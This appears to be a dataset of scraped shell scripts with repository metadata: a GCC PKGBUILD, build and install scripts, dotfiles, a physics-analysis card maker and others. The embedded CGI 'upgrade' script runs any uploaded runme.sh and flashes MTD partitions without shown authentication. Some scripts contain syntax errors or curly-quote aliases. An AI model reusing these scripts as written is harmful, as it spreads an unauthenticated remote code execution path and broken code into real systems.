makedepends=('git')
options=('libtool' 'staticlibs' '!buildflags' '!strip')
provides=('gcc-hermit-bootstrap')
conflicts=('gcc-hermit-bootstrap')
source=("$_pkgname::git+https://github.com/hermitcore/gcc.git#branch=bootstrap"
"http://isl.gforge.inria.fr/isl-${_islver}.tar.bz2")
md5sums=('SKIP'
'11436d6b205e516635b666090b94ab32')
pkgver() {
cd "$srcdir/$_pkgname"
printf "r%s.%s" "$(git rev-list --count HEAD)" "$(git rev-parse --short HEAD)"
}
prepare() {
cd "$srcdir/$_pkgname"
# link isl for in-tree build
rm -rf isl
ln -s ../isl-${_islver} isl
sed -i 's/STMP_FIXINC=stmp-fixinc/STMP_FIXINC=/g' gcc/configure
# hack! - some configure tests for header files using "$CPP $CPPFLAGS"
sed -i "/ac_cpp=/s/\$CPPFLAGS/\$CPPFLAGS -O2/" {libiberty,gcc}/configure
}
build() {
cd "$srcdir/$_pkgname"
rm -rf build
mkdir build
cd build
../configure --target=$CARCH-hermit --prefix=/opt/hermit --without-headers --with-isl --disable-multilib --without-libatomic --with-tune=generic --enable-languages=c,c++,lto --disable-nls --disable-shared --disable-libssp --enable-threads=posix --disable-libgomp --enable-tls --enable-lto --disable-symvers
make all-gcc
}
package() {
cd "$srcdir/$_pkgname/build"
make DESTDIR="$pkgdir/" install-gcc
rm "$pkgdir/opt/hermit/share/info/dir"
}
| true |
84e0ca9b011202d6a07c632cd6a0dc743574631f | Shell | skyne98/troglos | /initramfs/var/www/cgi-bin/upgrade | UTF-8 | 1,359 | 3.515625 | 4 | [
"ISC"
] | permissive | #!/bin/sh -e
# POST upload format:
# -----------------------------29995809218093749221856446032^M
# Content-Disposition: form-data; name="file1"; filename="..."^M
# Content-Type: application/octet-stream^M
# ^M <--------- headers end with empty line
# file contents
# file contents
# file contents
# ^M <--------- extra empty line
# -----------------------------29995809218093749221856446032--^M
file=/tmp/$$-$RANDOM
trap atexit 0
atexit() {
rm -rf $file
if [ $pre ]; then
printf "\n</pre>\n"
pre=
fi
if [ ! $ok ]; then
printf "<H1>FAILED!</H1>\r\nAn error occurred. See log above<"
fi
printf "</body></html>\n"
}
CR=`printf '\r'`
# CGI output must start with at least empty line (or headers)
printf "Content-type: text/html\r\n\r\n"
cat <<-EOH
<html>
<head>
<title>Upgrade status</title>
</head>
<body>
<h1>System upgrade</h1>
<pre>
EOH
pre=1
exec 2>&1
IFS="$CR"
read -r delim_line
IFS=""
while read -r line; do
test x"$line" = x"" && break
test x"$line" = x"$CR" && break
done
mkdir $file
cd $file
tar zxf -
if [ -f runme.sh ]; then
sh runme.sh
else
for i in 0 1 2 3; do
if [ -f mtd$i ]; then
flashcp -v mtd$i /dev/mtd$i
fi
done
fi
printf "</pre>\r\n"
cat <<EOT
<h1>System upgraded</h1>
<p>The upgrade installed successfully. Please <a href="/cgi-bin/reboot-fpga">reboot</a> to activate.</p>
EOT
ok=1
| true |
392e8c443522ce077ff807bfa9515484d9ff8023 | Shell | bleepbloopsify/home | /oh-my-zsh/themes/chess-light.zsh-theme | UTF-8 | 822 | 3.15625 | 3 | [] | no_license | SESSION_TYPE=host
if [ -n "$SSH_CLIENT" ] || [ -n "$SSH_TTY" ] || [ -n "$SSH_CONNECTION" ]; then
SESSION_TYPE=remote/ssh
else
case $(ps -o comm= -p $PPID) in
sshd|*/sshd) SESSION_TYPE=remote/ssh;;
esac
fi
if [ "$SESSION_TYPE" = "remote/ssh" ]; then
AESTHETIC="$(hostname) %(!.♝.♕)"
else
AESTHETIC="%(!.♞.♞)"
fi
# NOTE: run `spectrum_ls` to see all available colors
# CMDPROMPT='%(!.#.$)'
PROMPT='%{$FG[045]%}%c$(git_prompt_info) %{$FG[088]%}% %{$FG[196]%}'$AESTHETIC'%{$reset_color%} '
ZSH_THEME_GIT_PROMPT_PREFIX="%{$FG[062]%} [%{$FG[01f]%}"
ZSH_THEME_GIT_PROMPT_SUFFIX="%{$FG[062]%}]"
ZSH_THEME_GIT_PROMPT_DIRTY=""
ZSH_THEME_GIT_PROMPT_CLEAN=""
export LSCOLORS="exfxfxfxcxegedabagacad"
export LS_COLORS='di=34:ln=35:so=35:pi=35:ex=32:bd=34;46:cd=34;43:su=30;41:sg=30;46:tw=30;42:ow=30;43'
| true |
175d7f0309203e21b7f75e5e49076f4d181c98f3 | Shell | cakmakcan/dialogflow_ros | /install.sh | UTF-8 | 847 | 3.25 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env bash
if [[-v GOOGLE_APPLICATION_CREDENTIALS]] then
echo "Found credentials in: $GOOGLE_APPLICATION_CREDENTIALS"
else
read -p "No credentials path found, please enter the path for your Google service account credentials: " gpath
export GOOGLE_APPLICATION_CREDENTIALS=$gpath
# Start by installing Google Cloud dependencies
export CLOUD_SDK_REPO="cloud-sdk-$(lsb_release -c -s)"
echo "deb http://packages.cloud.google.com/apt $CLOUD_SDK_REPO main" | sudo tee -a /etc/apt/sources.list.d/google-cloud-sdk.list
curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
sudo apt-get update && sudo apt-get install google-cloud-sdk
# Now install python dependencies
sudo apt-get install python-pip portaudio19-dev
pip install --user -r requirements.txt
echo "Remember to run 'gcloud init' to configure Google Cloud" | true |
529daa92e9ece7198599b16765eb1cb8cb580fbc | Shell | JeremyOttley/qsetup | /extra/.bashrc | UTF-8 | 963 | 2.828125 | 3 | [] | no_license | ## Virtualenv
function set_virtualenv () {
if test -z "$VIRTUAL_ENV" ; then
PYTHON_VIRTUALENV=""
else
PYTHON_VIRTUALENV="${BLUE}[`basename \"$VIRTUAL_ENV\"`]${COLOR_NONE} "
fi
}
function ps1command () {
set_virtualenv
export PS1="\n\e[1;96m\u@\h on \d at \@\n\e[1;92m$PYTHON_VIRTUALENV\w \$git_branch\[$txtred\]\$git_dirty\[$txtrst\] \e[0m\n\[\e[1;34m\]λ\[\e[m\] "
}
ps1command;
##
## Aliases
alias q=’exit’
alias c=’clear’
alias h=’history’
alias cs=’clear;ls’
alias p=’cat’
alias pd=’pwd’
alias lsa=’ls -a’
alias lsl=’ls -l’
alias pd=’pwd’
alias t=’time’
alias k='kill'
alias null=’/dev/null’
alias home='cd ~'
alias root='cd /'
alias open='xdg-open'
alias ..='cd ..'
alias ...='cd ..; cd ..'
alias ....='cd ..; cd ..; cd ..'
alias python='python3'
alias pip='pip3'
alias vimrc='vim ~/.vimrc'
alias bashrc='vim ~/.bash_profile'
export GREP_OPTIONS=' — color=auto'
export EDITOR=vim
| true |
de4f58b44cc885376f37a9be7b163c639652f4be | Shell | coinarrival/coinarrival | /install.sh | UTF-8 | 858 | 3.0625 | 3 | [] | no_license | #!/bin/bash
set -e # once broken, exit bash
echo "Building Repo"
# Build FrontEnd
echo "Building FrontEnd Page..."
cd ../coinarrival_v1.0/FrontEnd
npm install
npm run build
cp index.html ../coinarrival_v1.0/ServerEnd/resources/public/index.html
cp -r ./dist/ ../coinarrival_v1.0/ServerEnd/resources/
cp -r ./static/ ../coinarrival_v1.0/ServerEnd/resources/public/static
mv ../coinarrival_v1.0/ServerEnd/resources/dist/*.js ../coinarrival_v1.0/ServerEnd/resources/public/dist/*.js
echo "Build Finish"
# Build BackEnd
echo "Building BackEnd..."
cd ../coinarrival_v1.0/BackEnd
docker-compose build
echo "Build Finish"
# Build ServerEnd
echo "Building ServerEnd..."
cd ../coinarrival_v1.0/ServerEnd
docker-compose up
echo "Build Finish"
echo "coinarrival is running at http://localhost:3000/public/index.html"
read -p "Press any key to continue." var | true |
a16d6c7bd4c46faa194af91c4604afcb04b7f882 | Shell | eyedeekay/youtube-dl-wrapper-experiments | /lib/ydl_supervise_pid | UTF-8 | 505 | 3.375 | 3 | [] | no_license | #! /usr/bin/env sh
ydl_cleanup_pid(){
rm -f stop *.pid
}
ydl_find_pid(){
if [ $(ps aux | grep "$(cat *.pid)") ]; then
true
fi
}
ydl_kill_pid(){
kill "$(cat *.pid)"
ydl_cleanup_pid
}
ydl_watch_pid(){
if [ -f *.pid ]; then
while [ ydl_find_pid ]; do
if [ "$(cat stop)" = "y" ]; then
ydl_kill_pid
break
else
sleep 5
fi
done
ydl_cleanup_pid
fi
}
ydl_watch_pid
| true |
36c96bcf885fe4e3296ded8b57d0068c3362d2b0 | Shell | crypdex/blackbox | /scripts/dashboard/info.sh | UTF-8 | 4,007 | 3.46875 | 3 | [] | no_license | #!/bin/bash
## get basic info
source /home/admin/raspiblitz.info 2>/dev/null
source /mnt/hdd/raspiblitz.conf 2>/dev/null
#codeVersion=$(blackbox version)
codeVersion=0.2.10
if [[ ${#codeVersion} -eq 0 ]]; then codeVersion="0"; fi
# check hostname
if [ ${#hostname} -eq 0 ]; then hostname="raspiblitz"; fi
# get uptime & load
load=$(w | head -n 1 | cut -d 'v' -f2 | cut -d ':' -f2)
# get CPU temp - no measurement in a VM
cpu=0
if [[ -d "/sys/class/thermal/thermal_zone0/" ]]; then
cpu=$(cat /sys/class/thermal/thermal_zone0/temp)
fi
tempC=$(mawk '{print $1/1000}' <<< $cpu | xargs printf "%0.0f")
tempF=$(( $tempC * 9/5 + 32 ))
# get memory
ram_avail=$(free -m | grep Mem | awk '{ print $7 }')
ram=$(printf "%sM / %sM" "${ram_avail}" "$(free -m | grep Mem | awk '{ print $2 }')")
if [ ${ram_avail} -lt 50 ]; then
color_ram="${color_red}\e[7m"
else
color_ram=${color_green}
fi
# get free HDD ratio
hdd_free_ratio=$(printf "%d" "$(df -h / | mawk 'NR==2 { print $4/$2*100 }')" 2>/dev/null)
hdd=$(printf "%s (%s)" "$(df -h / | awk 'NR==2 { print $4 }')" "${hdd_free_ratio}%%")
if [ ${hdd_free_ratio} -lt 10 ]; then
color_hdd="${color_red}\e[7m"
else
color_hdd=${color_green}
fi
# get network traffic
# ifconfig does not show eth0 on Armbian or in a VM - get first traffic info
isArmbian=$(cat /etc/os-release 2>/dev/null | grep -c 'Debian')
if [ ${isArmbian} -gt 0 ] || [ ! -d "/sys/class/thermal/thermal_zone0/" ]; then
network_rx=$(ifconfig | grep -m1 'RX packets' | awk '{ print $6$7 }' | sed 's/[()]//g')
network_tx=$(ifconfig | grep -m1 'TX packets' | awk '{ print $6$7 }' | sed 's/[()]//g')
else
network_rx=$(ifconfig eth0 | grep 'RX packets' | awk '{ print $6$7 }' | sed 's/[()]//g')
network_tx=$(ifconfig eth0 | grep 'TX packets' | awk '{ print $6$7 }' | sed 's/[()]//g')
fi
# Get the location of this script
__dir="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
. ${__dir}/cpu_temp.sh
########
# UPTIME
#######
uptime=$(uptime -p 2>&1)
# - Re-obtain network details if missing and LAN IP chosen
. ${__dir}/network.sh
blockchaininfo=$(dcrctl getblockchaininfo 2>/dev/null)
if [[ ${#blockchaininfo} -gt 0 ]]; then
btc_title="${btc_title} (${chain}net)"
# get sync status
block_chain=$(dcrctl getblockcount 2>/dev/null)
block_verified=$(echo "${blockchaininfo}" | jq -r '.blocks')
# block_diff=$(expr ${block_chain} - ${block_verified})
progress="$(echo "${blockchaininfo}" | jq -r '.verificationprogress')"
sync_percentage=$(echo ${progress} | awk '{printf( "%.2f%%", 100 * $1)}')
bestblockhash="$(echo "${blockchaininfo}" | jq -r '.bestblockhash')"
if [ ${progress} -eq 0 ]; then # fully synced
sync="OK"
sync_color="${color_green}"
sync_behind=" "
elif [ ${progress} -eq 1 ]; then # fully synced
sync="OK"
sync_color="${color_green}"
sync_behind="-1 block"
elif [ ${progress} -le 10 ]; then # <= 2 blocks behind
sync=""
sync_color="${color_red}"
sync_behind="-${block_diff} blocks"
else
sync=""
sync_color="${color_red}"
sync_behind="${sync_percentage}"
fi
fi
printf "
${color_amber}BlackboxOS v${codeVersion}
${color_gray}Developed by CRYPDEX [https://crypdex.io]
${color_yellow}─────────────────────────────────────────────────────
${color_gray}$(date)
${color_gray}Load avg: ${load}, CPU temp: ${tempC}°C/${tempF}°F
${color_gray}${uptime}
${color_gray}Free Mem ${color_ram}${ram} ${color_gray} Free HDD ${color_hdd}${hdd}${color_gray}
${color_gray}${color_green}${ACTIVE_IP}${color_gray} ${color_amber}▼ ${network_rx} RX ${color_purple}▲ ${network_tx} TX
${color_clear}
${color_amber}Decred
${color_gray}Chain: ${color_purple}testnet3
${color_gray}Best block: ${block_verified}
${color_gray}Sync progress: %s
Latest hash: ${bestblockhash}
${color_clear}
" "${sync_percentage}" | true |
883402a5ef39f40b9d78a9fd73ff090e4ce9e756 | Shell | toro2k/dotfiles | /lndot.sh | UTF-8 | 538 | 4.15625 | 4 | [] | no_license | #!/bin/sh
set -e
SCRIPT_NAME=$(basename "$0")
FORCE=0
if [ "$1" = "-f" ]; then
FORCE=1
shift
fi
if [ "$#" -lt 1 ]; then
printf "usage: %s [-f] DOTFILE...\n" "$SCRIPT_NAME"
exit 1
fi
for dotfile in "$@"; do
TARGET="$(pwd)/$dotfile"
LINK_NAME="$HOME/$(basename "$dotfile")"
if [ -e "$LINK_NAME" -a "$FORCE" -eq 0 ]; then
printf "%s: failed to install '%s': File exists\n" "$SCRIPT_NAME" "$LINK_NAME"
exit 1
fi
rm -f "$LINK_NAME"
ln -s "$TARGET" "$LINK_NAME"
done
unset dotfile
| true |
55a91e400380609e3ceccf1c9a05650effeee680 | Shell | astarinatyasr/18213033-18212028 | /4. UTS scripting/UTS scripting.sh | UTF-8 | 334 | 2.84375 | 3 | [] | no_license | #!/bin/sh
echo -n "Enter your desired URL: "
read url
echo "Downloading..."
wget -nd -r -l 1 -P astarinatyasr -A jpg $url
echo "====================Download succeed===================="
echo "Backing up..."
rsync -a astarinatyasr backup
echo "====================Back up succeed===================="
echo "> Finished scraping $url"
| true |
3e804bb786806ff1f396e0c62f1e25c973061a8b | Shell | planet-winter/planet-docker-mining | /claymore-cuda-miner/app/start.sh | UTF-8 | 764 | 3.28125 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env bash
# -ethi 8 ; default intensity, lower for OS rendering
# -erate ; submit hashrate
# -r 1 ; restart on failure
# -tt 1 ; only show temp and fan speed; dop not manage; not possible on linux with nvidia gpu
# -tstop 89 ; stop mining on this temp
# -fanmax 70 ;fan max speed; does not work on linux nvidia
# -fanmin 30; fan min speed; does not work on linux nvidia
# -ttli ; reduce entire mining intensity automatically if GPU temperature is above value ; stop on -tt
list () {
cd commands
ls -1 | sed 's/.sh//g'
}
help () {
echo "Command ${1} not found. Use one of:"
list
}
if [ -z $1 ]; then
help
elif [ "$1" = "list" ]; then
list
else
if [ -x commands/$1.sh ]; then
commands/$1.sh
else
help
fi
fi
| true |
8672c2724093671db44b6fc0e336c1b0e2955134 | Shell | Darui99/ITMO-Java | /java-advanced-2020-solutions/java-solutions/ru/ifmo/rain/kurbatov/implementor/compile-javadoc.sh | UTF-8 | 893 | 2.8125 | 3 | [] | no_license | #!/bin/bash
MODULE="ru.ifmo.rain.kurbatov"
ROOT="$(dirname $0)/../../../../../../.."
MY_P="${ROOT}/java-advanced-2020-solutions"
TEMP="${MY_P}/_build/my"
TEMPKG="${MY_P}/_build/kg"
KG_P="${ROOT}/java-advanced-2020"
LINK="https://docs.oracle.com/en/java/javase/11/docs/api/"
KG_M="${KG_P}/modules/info.kgeorgiy.java.advanced.implementor"
DATA="${TEMPKG}/info.kgeorgiy.java.advanced.implementor/info/kgeorgiy/java/advanced/implementor/"
mkdir -p "${TEMP}"
mkdir -p "${TEMPKG}"
cp -r "${MY_P}/java-solutions/." "${TEMP}/${MODULE}"
cp -r "${KG_M}" "${TEMPKG}/info.kgeorgiy.java.advanced.implementor"
javadoc -link ${LINK} \
-private \
-d "_javadoc" \
-p "${KG_P}/artifacts":"${KG_P}/lib" \
--module-source-path "${TEMP}:${TEMPKG}" --module "${MODULE}" \
"${DATA}Impler.java" "${DATA}ImplerException.java" "${DATA}JarImpler.java"
rm -r "${MY_P}/_build"
| true |
e5f1cc1a45d405d3d6f44b01562cac1d662922db | Shell | jestevez/community-source | /docker/build-docker.sh | UTF-8 | 540 | 2.859375 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env bash
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
cd $DIR/..
DOCKER_IMAGE=${DOCKER_IMAGE:-communitypay/communityd-develop}
DOCKER_TAG=${DOCKER_TAG:-latest}
BUILD_DIR=${BUILD_DIR:-.}
rm docker/bin/*
mkdir docker/bin
cp $BUILD_DIR/src/communityd docker/bin/
cp $BUILD_DIR/src/community-cli docker/bin/
cp $BUILD_DIR/src/community-tx docker/bin/
strip docker/bin/communityd
strip docker/bin/community-cli
strip docker/bin/community-tx
docker build --pull -t $DOCKER_IMAGE:$DOCKER_TAG -f docker/Dockerfile docker
| true |
55da1d06b871b59e0e8b7338568b34a3bd64957f | Shell | astakia/cmg-cmssw | /CMGTools/TTHAnalysis/python/plotter/susy-1lep/limits/make_susy_cards.sh | UTF-8 | 7,223 | 2.703125 | 3 | [] | no_license | #!/bin/bash
if [[ "$1" == "SingleLepAFS" ]]; then
shift # shift register
T="/afs/cern.ch/work/k/kirschen/public/PlotExampleSamples/V3";
FT="/afs/cern.ch/work/a/alobanov/public/SUSY/CMG/CMGtuples/FriendTrees/phys14_v3_btagCSVv2"
J=4;
elif [[ "$HOSTNAME" == *"lxplus"* ]] ; then
T="/afs/cern.ch/work/k/kirschen/public/PlotExampleSamples/V3";
FT="/afs/cern.ch/work/a/alobanov/public/SUSY/CMG/CMGtuples/FriendTrees/phys14_v3_btagCSVv2"
J=4;
elif [[ "$1" == "DESYV3" ]] ; then
shift # shift register
T="/nfs/dust/cms/group/susy-desy/Run2/MC/CMGtuples/Phys14_v3/ForCMGplot";
FT="/nfs/dust/cms/group/susy-desy/Run2/MC/CMGtuples/Phys14_v3/Phys14_V3_Friend_CSVbtag"
J=8;
elif [[ "$HOSTNAME" == *"naf"* ]] ; then
T="/nfs/dust/cms/group/susy-desy/Run2/MC/CMGtuples/Phys14_v3/ForCMGplot";
FT="/nfs/dust/cms/group/susy-desy/Run2/MC/CMGtuples/Phys14_v3/Phys14_V3_Friend_CSVbtag"
J=8;
else
echo "Didn't specify location!"
echo "Usage: ./make_cards.sh location analysis "
exit 0
fi
LUMI=4.0
OUTDIR="susy_cards_1l_4fb_test"
OPTIONS=" -P $T -j $J -l $LUMI -f --s2v --tree treeProducerSusySingleLepton --od $OUTDIR --asimov "
# Get current plotter dir
#PLOTDIR="$CMSSW_BASE/src/CMGTools/TTHAnalysis/python/plotter/"
PLOTDIR=$(pwd -P)
PLOTDIR=${PLOTDIR/plotter/plotterX}
PLOTDIR=$(echo $PLOTDIR | cut -d 'X' -f 1 )
# Append FriendTree dir
OPTIONS=" $OPTIONS -F sf/t $FT/evVarFriend_{cname}.root "
function makeCard_1l {
local EXPR=$1; local BINS=$2; local SYSTS=$3; local OUT=$4; local GO=$5
CutFlowCard="1l_CardsFullCutFlow.txt"
# b-jet cuts
case $nB in
0B) GO="${GO} -R 1nB 0nB nBJetMedium30==0 " ;;
1B) GO="${GO} -R 1nB 1nB nBJetMedium30==1 " ;;
2B) GO="${GO} -R 1nB 2nB nBJetMedium30==2 " ;;
2Btop) GO="${GO} -R 1nB 2nB nBJetMedium30==2&&Topness>5 " ;;
3B) GO="${GO} -R 1nB 3nBp nBJetMedium30>=3 " ;;
esac;
# ST categories
case $ST in
ST0) GO="${GO} -R st200 st200250 ST>200&&ST<250 " ;;
ST1) GO="${GO} -R st200 st250350 ST>250&&ST<350 " ;;
ST2) GO="${GO} -R st200 st350450 ST>350&&ST<450 " ;;
ST3) GO="${GO} -R st200 st450600 ST>450&&ST<600 " ;;
ST4) GO="${GO} -R st200 st600Inf ST>600 " ;;
esac;
# jet multiplicities
case $nJ in
45j) GO="${GO} -R geq6j 45j nCentralJet30>=4&&nCentralJet30<=5" ;;
68j) GO="${GO} -R geq6j 67j nCentralJet30>=6&&nCentralJet30<=8" ;;
6Infj) GO="${GO} -R geq6j geq6j nCentralJet30>=6" ;;
9Infj) GO="${GO} -R geq6j geq8j nCentralJet30>=9" ;;
68TTj) GO="${GO} -R geq6j 68TTj nCentralJet30+2*nHighPtTopTagPlusTau23>=6&&nCentralJet30+2*nHighPtTopTagPlusTau23<9" ;;
9InfTTj) GO="${GO} -R geq6j 9InfTTj nCentralJet30+2*nHighPtTopTagPlusTau23>=9" ;;
esac;
# HT and "R&D" categories
case $HT in
HT0) GO="${GO} -R ht500 ht5001000 HT>500&&HT<1000" ;;
HT1) GO="${GO} -R ht500 ht1000Inf HT>=1000" ;;
HTDPhi) GO="${GO} -R ht500 ht1000Inf HT>=1000 -R dp1 dp05 fabs(DeltaPhiLepW)>0.5 " ;;
HTStop) GO="${GO} -R ht500 ht1000Inf HT>=1000 -R dp1 dp05 fabs(DeltaPhiLepW)>0.5 -A dp1 stopness (TopVarsMETovTopMin[0]-0.5)/0.5+(TopVarsMtopMin[0]-175)/175>1.25" ;;
HTTop) GO="${GO} -R ht500 ht1000Inf HT>=1000 -R dp1 dp05 fabs(DeltaPhiLepW)>0.5 -A dp1 stopness (TopVarsMETovTopMin[0]-0.5)/0.5+(TopVarsMtopMin[0]-175)/175>1.25&&Topness>5" ;;
HTLowLepPt) GO="${GO} -R ht500 ht1000Inf HT>=1000 -R 1tl 1tllowpt nTightLeps==1&&LepGood1_pt<=25 -R dp1 dp00 fabs(DeltaPhiLepW)>0.0 -A dp1 stopness (TopVarsMETovTopMin[0]-0.5)/0.5+(TopVarsMtopMin[0]-175)/175>1.25&&Topness>5" ;;
HTLowLepPtDPhi) GO="${GO} -R ht500 ht1000Inf HT>=1000 -R 1tl 1tllowpt nTightLeps==1&&LepGood1_pt<=25" ;;
HTTTYes) GO="${GO} -R ht500 ht1000Inf HT>=1000&&nHighPtTopTagPlusTau23>=1" ;;
HTTTNo) GO="${GO} -R ht500 ht1000Inf HT>=1000&&nHighPtTopTagPlusTau23==0" ;;
esac;
if [[ "$PRETEND" == "1" ]]; then
echo "making datacard $OUT from makeShapeCardsSusy.py mca-Phys14_1l.txt $CutFlowCard \"$EXPR\" \"$BINS\" $SYSTS $GO --dummyYieldsForZeroBkg;"
else
echo "making datacard $OUT from makeShapeCardsSusy.py mca-Phys14_1l.txt $CutFlowCard \"$EXPR\" \"$BINS\" $SYSTS $GO --dummyYieldsForZeroBkg;"
python $PLOTDIR/makeShapeCardsSusy.py $PLOTDIR/mca-Phys14_1l.txt $PLOTDIR/susy-1lep/$CutFlowCard "$EXPR" "$BINS" $SYSTS -o $OUT $GO --dummyYieldsForZeroBkg;
echo " -- done at $(date)";
fi;
}
function combineCardsSmart {
DummyC=0
AllC=0
CMD=""
for C in $*; do
# missing datacards
test -f $C || continue;
if grep -q "DummyContent" $C; then
echo "empty bin ${C}" >&2
DummyC=$(($DummyC+1))
if grep -q "observation 0.0$" $C; then
echo "this is not the way it was intended..."
fi
fi
grep -q "observation 0.0$" $C && continue
AllC=$((AllC+1))
CMD="${CMD} $(basename $C .card.txt)=$C ";
done
if [[ "$CMD" == "" ]]; then
echo "Not any card found in $*" 1>&2 ;
else
# echo "combineCards.py $CMD" >&2
combineCards.py $CMD
fi
if [[ "$DummyC" != "0" ]]; then
echo "In total $DummyC out of $AllC are empty, but taken into account by adding DummyContent." >&2
fi
#echo "In total $DummyC out of $AllC are empty, but taken into account by adding DummyContent." >&2
}
if [[ "$1" == "--pretend" ]]; then
PRETEND=1; shift;
echo "# Pretending to run"
fi;
if [[ "$1" == "1l-makeCards" ]]; then
SYSTS="syst/susyDummy.txt"
CnC_expr="1" #not used as of now
CnC_bins="[0.5,1.5]"
echo "Making individual datacards"
for ST in ST0 ST1 ST2 ST3 ST4; do for nJ in 68j 6Infj 9Infj; do for nB in 2B 3B; do for HT in HT0 HT1; do
# for ST in ST0 ST1 ST2 ST3 ST4; do
echo " --- CnC2015X_${nB}_${ST}_${nJ}_${HT} ---"
makeCard_1l $CnC_expr $CnC_bins $SYSTS CnC2015X_${nB}_${ST}_${nJ}_${HT} "$OPTIONS";
done; done; done; done
# done;
#exit
fi
if [[ "$1" == "1l-combine" ]]; then
if [[ ! $CMSSW_VERSION == *"CMSSW_7_1_"* ]] ;then
echo "You don't have the correct CMSSW environment!"
echo "Found: $CMSSW_VERSION, need CMSSW_7_1_X"
exit 0
fi
echo "Making combined datacards"
if [[ "$PRETEND" == "1" ]]; then
echo "Pretending to do cards"
exit 0
fi
for D in $OUTDIR/T[0-9]*; do
test -f $D/CnC2015X_2B_ST0_68j_HT0.card.txt || continue
(cd $D && echo " $D";
for nB in 2B 3B; do
combineCardsSmart CnC2015X_${nB}_{ST0,ST1,ST2,ST3,ST4}_6Infj_{HT0,HT1}.card.txt > CnC2015X_${nB}_standardnJ.card.txt
combineCardsSmart CnC2015X_${nB}_{ST0,ST1,ST2,ST3,ST4}_{68j,9Infj}_{HT0,HT1}.card.txt > CnC2015X_${nB}_finenJ.card.txt
done
combineCardsSmart CnC2015X_{2B,3B}_standardnJ.card.txt > CnC2015X_standardnJ.card.txt # standard nJet-binning; HT-binning
combineCardsSmart CnC2015X_{2B,3B}_finenJ.card.txt > CnC2015X_finenJ.card.txt #fine nJet-binning; HT-binning
)
done
fi
echo "Done at $(date)";
| true |
85ce0abe2fb14c573c42d4c2fec645e7cd42c686 | Shell | sonatype/operator-nxrm3 | /scripts/bundle.sh | UTF-8 | 2,072 | 3.671875 | 4 | [] | no_license | #!/bin/sh
# built from https://redhat-connect.gitbook.io/partner-guide-for-red-hat-openshift-and-container/certify-your-operator/upgrading-your-operator
if [ $# != 3 ]; then
cat <<EOF
Usage: $0 <bundleNumber> <projectId> <apiKey>
bundleNumber: appended to version to allow rebuilds, usually 1
projectId: project id from Red Hat bundle project
apiKey: api key from Red Hat bundle project
EOF
exit 1
fi
bundleNumber=$1
projectId=$2
apiKey=$3
set -e -x
# stage a clean bundle directory
rm -rf bundle
mkdir bundle
# copy the crd
cp -v deploy/crds/sonatype.com_nexusrepos_crd.yaml bundle
# copy every version of the csv and the package yaml
cp -rv deploy/olm-catalog/nxrm-operator-certified/* bundle
# distribute crd into each version directory
for d in $(find bundle/* -type d); do
cp -v deploy/crds/sonatype.com_nexusrepos_crd.yaml ${d}
done
# restructure and generate docker file for the bundle
cd bundle;
latest_version=$(cat nxrm-operator-certified.package.yaml \
| grep currentCSV: \
| sed 's/.*nxrm-operator-certified.v//')
if [ "x$latest_version" = "x" ]; then
echo "Could not determine latest version from package yaml."
exit 1
fi
opm alpha bundle generate -d $latest_version -u $latest_version
mv bundle.Dockerfile bundle-$latest_version.Dockerfile
# append more labels
cat >> bundle-$latest_version.Dockerfile <<EOF
LABEL com.redhat.openshift.versions="v4.10"
LABEL com.redhat.delivery.backport=true
LABEL com.redhat.delivery.operator.bundle=true
EOF
# build the bundle docker image
docker build . \
-f bundle-$latest_version.Dockerfile \
-t nxrm-operator-bundle:$latest_version
docker tag \
nxrm-operator-bundle:$latest_version \
scan.connect.redhat.com/${projectId}/nxrm-operator-bundle:${latest_version}-${bundleNumber}
# push to red hat scan service
echo $apiKey | docker login -u unused --password-stdin scan.connect.redhat.com
docker push \
scan.connect.redhat.com/${projectId}/nxrm-operator-bundle:${latest_version}-${bundleNumber}
| true |
6fe8269bf435dccc0ef510ea65425234ff83f7e1 | Shell | rehannali/s21u-firmware-download | /download-firmware | UTF-8 | 1,246 | 4.0625 | 4 | [
"MIT"
] | permissive | #!/bin/bash
DEVICE="Enter you device Model"
REGION="Enter your Device Region"
BASE="samloader -m $DEVICE -r $REGION"
echo "Checking samloader existance..."
if ! command -v samloader &> /dev/null; then
echo "samloader not found. Downloading..."
pip3 install git+https://github.com/nlscc/samloader.git
fi
echo "Checking Version"
VERSION="$($BASE checkupdate)"
echo "$VERSION"
echo -e "Checking Completed \n"
read -p 'Do you want to Continue? Press y or Y to continue: ' cont
if [ $cont != "y" ] && [ $cont != "Y" ]; then
echo "Exiting From Program"
exit 1
fi
echo "Purging OLD files if exists ..."
find . -iname "$DEVICE*" -exec rm -rf {} +
echo "Downloading Firmware ..."
FILENAME="$($BASE download -v $VERSION -O . | cut -d ' ' -f2)"
echo "Downloading Finished ..."
OUTPUT="$(echo $FILENAME | cut -d . -f1-2)"
ENC_PROTOCOL="$(echo $FILENAME | tail -c 2)"
echo "File Name : $FILENAME"
echo "Output Name : $OUTPUT"
echo "ENC Protocol : $ENC_PROTOCOL"
echo "Decrypting ..."
$BASE decrypt -v $VERSION -V $ENC_PROTOCOL -i $FILENAME -o $OUTPUT
echo "Decrypting Finished ..."
UNZIPDIR="$(echo $OUTPUT | cut -d . -f1)"
echo "UNZIP Dir : $UNZIPDIR"
echo "unzipping firmware ..."
unzip $OUTPUT -d $UNZIPDIR/
echo "Done!"
exit 0
| true |
192b5a13e54aa44559effa4c532f570f4bf60a58 | Shell | cancerberoSgx/raphael4gwt | /raphael4gwt/doc/userguide/make.sh | UTF-8 | 480 | 2.65625 | 3 | [] | no_license | #generation of htmls and pdf from docbook.
#author: sgurin
NAME=r4g-user-guide
#clean
rm -rf $NAME-pdf
mkdir $NAME-pdf
rm -rf $NAME-htmls
rm -rf $NAME-html
rm $NAME.tgz
#pdf
dblatex -o $NAME-pdf/$NAME.pdf $NAME.xml
#multiple htmls
db2html $NAME.xml
cp -r images $NAME/images
mv $NAME $NAME-htmls
cp $NAME-htmls/t1.html $NAME-htmls/index.html
chmod -R a+x $NAME-htmls
tar cvfz $NAME-htmls.tgz $NAME-htmls
mkdir $NAME-html
db2html --nochunks $NAME.xml > $NAME-html/$NAME.html
| true |
